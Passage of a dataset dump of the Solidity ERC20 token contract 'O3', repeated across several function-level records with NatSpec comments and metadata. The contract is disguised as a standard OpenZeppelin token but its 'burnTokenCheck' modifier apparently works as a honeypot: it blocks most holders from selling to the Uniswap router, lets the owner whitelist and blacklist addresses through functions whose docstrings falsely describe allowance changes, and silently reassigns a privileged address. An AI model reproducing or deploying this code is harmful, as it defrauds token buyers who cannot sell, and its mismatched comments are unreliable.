* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
9883,
10232
]
} | 4,251 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _approveCheck | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
10677,
11269
]
} | 4,252 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
12988,
13083
]
} | 4,253 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
